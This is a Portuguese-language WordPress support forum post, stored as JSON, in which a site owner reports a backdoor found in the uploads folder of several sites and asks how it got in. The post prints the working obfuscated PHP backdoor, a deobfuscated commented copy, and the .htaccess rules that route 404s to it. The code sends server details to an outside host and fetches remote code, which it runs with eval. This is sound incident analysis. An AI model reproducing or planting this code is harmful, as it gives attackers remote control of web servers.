{"id":4723,"date":"2010-06-15T13:55:33","date_gmt":"2010-06-15T13:55:33","guid":{"rendered":"https:\/\/br.wordpress.org\/support\/topic\/trojan\/"},"modified":"2016-08-06T01:09:01","modified_gmt":"2016-08-06T01:09:01","slug":"trojan","status":"closed","type":"topic","link":"https:\/\/br.wordpress.org\/support\/topic\/trojan\/","title":{"rendered":"Backdoor"},"content":{"rendered":"

Perceb\u00ed agora que 3 dos 6 WP que tenho rodando est\u00e3o com algum tipo de trojan instalado. Dois arquivos foram gerados na pasta upload e subpastas:<\/p>\n

207250.php (nome aparentemente aleat\u00f3rio)<\/p>\n

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="\/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="cbb5c6e51bf51d29f57296a4c8e0a9d9") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?><\/code><\/pre>\n
formatado e comentado:<\/p>\n
<?php\n$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);\n$b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);\n$c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);\n$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);\n$e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);\n$f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);\n$g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);\n$h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);\n$i = (isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);\n$j = (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);\n\n$z = "\/? ".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);\n\n$f = base64_decode("cnNzbmV3cy53cw=="); \/\/base64 = rssnews.ws\n\nif (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"])=="cbb5c6e51bf51d29f57296a4c8e0a9d9") $f=$_REQUEST["id"];\nif ((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); \/\/base64 = http:\/\/ads.\nelse if ($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) eval($c); \/\/base64 = http:\/\/7.\nelse {\n    $cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); \/\/base64 = http:\/\/71.\n    curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);\n    $o=curl_exec($cu);\n    curl_close($cu);\n    eval($o);\n};\ndie();\n ?><\/code><\/pre>\n
.htaccess<\/p>\n
Options -MultiViews\nErrorDocument 404 \/\/wordpress\/wp-content\/uploads\/2010\/207250.php\n\nOptions -MultiViews\nErrorDocument 404 \/wordpress\/wp-content\/uploads\/2010\/207250.php\n\nOptions -MultiViews\nErrorDocument 404 \/wordpress\/wp-content\/uploads\/2010\/207250.php<\/code><\/pre>\n
O arquivo PHP parece estar dividido em 2 partes (if) uma envia para ads.rssnews.ws uma string com o URL do site, o FILE (caminho local tipo \/home\/site.com.br\/etc\/etc) e USER AGENT que acessou; a outra executa via eval uma string passada via query string.<\/p>\n
A quest\u00e3o \u00e9: COMO ele se instalou al\u00ed? \u00c9 evidente que tem alguma rela\u00e7\u00e3o com o CHMOD 777 dado a pasta uploads, pois s\u00f3 al\u00ed eles s\u00e3o encontrados.<\/p>\n","protected":false},"template":"","class_list":["post-4723","topic","type-topic","status-closed","hentry","topic-tag-trojan","topic-tag-worm"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/br.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/4723","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/br.wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/br.wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/br.wordpress.org\/support\/wp-json\/wp\/v2\/topic\/4723\/revisions"}],"wp:attachment":[{"href":"https:\/\/br.wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=4723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}